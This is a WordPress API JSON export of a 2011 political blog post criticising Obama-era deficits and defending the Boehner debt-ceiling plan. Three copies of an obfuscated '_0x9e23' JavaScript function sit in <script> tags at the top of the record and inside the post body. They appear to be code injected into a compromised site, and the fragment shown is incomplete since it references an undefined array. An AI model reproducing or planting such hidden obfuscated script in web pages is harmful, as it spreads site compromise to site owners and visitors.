<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script>{"id":1363,"date":"2011-07-28T12:23:23","date_gmt":"2011-07-28T18:23:23","guid":{"rendered":"http:\/\/www.jsharf.com\/view\/?p=1363"},"modified":"2011-07-28T12:23:23","modified_gmt":"2011-07-28T18:23:23","slug":"obamas-evergreen-goes-brown","status":"publish","type":"post","link":"https:\/\/www.jsharf.com\/view\/?p=1363","title":{"rendered":"Obama&#8217;s Evergreen Goes Brown"},"content":{"rendered":"<p>Barack Obama and Harry Reid may not be able to produce a spending plan, but at least they have their old campaign talking points from 2008 to fall back on.<\/p>\n<p>With the Senate having failed to produce a budget in over 2 years, the President&#8217;s budget having succeeded in uniting Washington to a degree not seen since it was under threat of attack 150 years ago, and neither willing to commit a spending plan to paper, they can be relied on to Blame Bush!<\/p>\n<p>The White House has put out a graphic purporting to show that &#8211; surprise! &#8211; 8 years under President Bush added more to the national debt than 2 years under President Obama.\u00a0 (They play with the numbers, by assuming that the cut in marginal tax rates didn&#8217;t stimulate growth, for instance.)\u00a0 That President Bush wasn&#8217;t exactly a fiscal conservative like FDR isn&#8217;t a secret to anyone. \u00a0In its day, what was seen as recklessness spawned Porkbusters, the Tea Party in embryo.<\/p>\n<p>But let me remind you of this chart, originally in the <em>Washington Post<\/em>:<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" src=\"http:\/\/pajamasmedia.com\/tatler\/files\/2011\/07\/wapoobamabudget1.jpg\" alt=\"\" width=\"400\" height=\"330\" \/><\/p>\n<p>It&#8217;s been updated by the Heritage Foundation:<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" src=\"http:\/\/blog.heritage.org\/wp-content\/uploads\/special-obama-budget-deficits-chart-sm.jpg\" alt=\"\" width=\"400\" height=\"413\" \/><\/p>\n<p>Much as Babe Ruth redefined baseball by showing what could be done when you <em>try<\/em> to hit home runs, so has Obama redefined deficit spending by showing what happens when you really put your heart and soul into it.\u00a0 You&#8217;ll notice, by the way, that the latter graph compares the CBO to itself, rather than to the White House budget, because, haha, there <em>isn&#8217;t<\/em> a White House budget.<\/p>\n<p>Note also how the color bars in each graph look the same, only they&#8217;re shifted to the right by two years in the update.\u00a0 It&#8217;s evident that 2010 and 2011 haven&#8217;t worked out as planned.\u00a0 It&#8217;s no wonder that Tea Partiers don&#8217;t really believe in out-year cuts; the deficit reduction hasn&#8217;t occurred because Obama&#8217;s policies and those of Congressional Democrats have stifled economic growth, and because they&#8217;ve been happy to govern illegally, without a budget for two years, leaving federal spending essentially on auto-pilot.<\/p>\n<p>The other argument you hear is that Paul Ryan&#8217;s budget made use of the same accounting trick that Harry Reid&#8217;s budget-avoidance bill does: counting savings from the Iraq and Afghanistan wars we won&#8217;t be fighting.\u00a0 But Ryan&#8217;s plan was an actual budget.\u00a0 There were always holes, but the difference between &#8220;will spend&#8221; and &#8220;would have spent&#8221; means a lot less when you&#8217;re drafting an actual plan, than the difference between &#8220;will spend&#8221; and &#8220;will take in.&#8221;\u00a0 Ryan applied that $1,000,000,000,000 to a headline.<\/p>\n<p>Reid proposes to let the President spend it between now and Election Day 2012.<\/p>\n<p>The Democrats won&#8217;t produce a budget because they can&#8217;t, only they don&#8217;t want you to know that until after the election.\u00a0 So much for them.<\/p>\n<p>The Tea Party folks have a different complaint, namely that Boehner&#8217;s Plan doesn&#8217;t go far enough.\u00a0 I&#8217;d like to see more cuts, too.\u00a0 But the idea, as I recall, was to use the debt ceiling deadline as a means for forcing a debate, forcing changes to the spending that is current and planned.\u00a0 It was never realistic to run the entire federal government out of the House of Representatives.<\/p>\n<p>To\u00a0 that extent, the plan has been wildly successful.\u00a0 It has exposed the Democrats as dangerously delusional about the state of our finances, whose only current idea is to soak you to ratify a massive increase in the scope of our economy directly controlled by the government.\u00a0 The Boehner Plan re-adjusts the baseline, keeps the debate on the front burner pretty much through the election, and does it without raising taxes.\u00a0 These are major victories, and they would not have been possible without the Tea Party.\u00a0 Period.<\/p>\n<p>That said, this particular fight is one of many. Pushing too hard right now, bringing on a technical default, or, more likely, <a href=\"http:\/\/keithhennessey.com\/2011\/07\/27\/why-i-support-the-boehner-bill\/\" target=\"_blank\">putting incredible discretionary power in the hands of a teenage president<\/a>, won&#8217;t be Sherman marching through Georgia, it&#8217;ll be Napoleon marching to Moscow.<\/p>\n<p>There is considerable frustration abroad that we can&#8217;t simply <em>win<\/em> this thing already.\u00a0 But politics isn&#8217;t about that.\u00a0 Regardless, we&#8217;ll have to keep watching, pushing, and prodding.\u00a0 There aren&#8217;t any final victories in politics, either over the other party or within your own.\u00a0 The best use of this battle is to pocket the gains, and use the process to help prepare the battlefield for the next fight.<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Barack Obama and Harry Reid may not be able to produce a spending plan, but at least they have their old campaign talking points from 2008 to fall back on. With the Senate having failed to produce a budget in over 2 years, the President&#8217;s budget having succeeded in uniting Washington to a degree not [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[116,5,24,17,23,51],"tags":[214,171,213,212],"_links":{"self":[{"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/1363"}],"collection":[{"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1363"}],"version-history":[{"count":2,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/1363\/revisions"}],"predecessor-version":[{"id":1365,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/1363\/revisions\/1365"}],"wp:attachment":[{"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1363"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1363"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1363"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}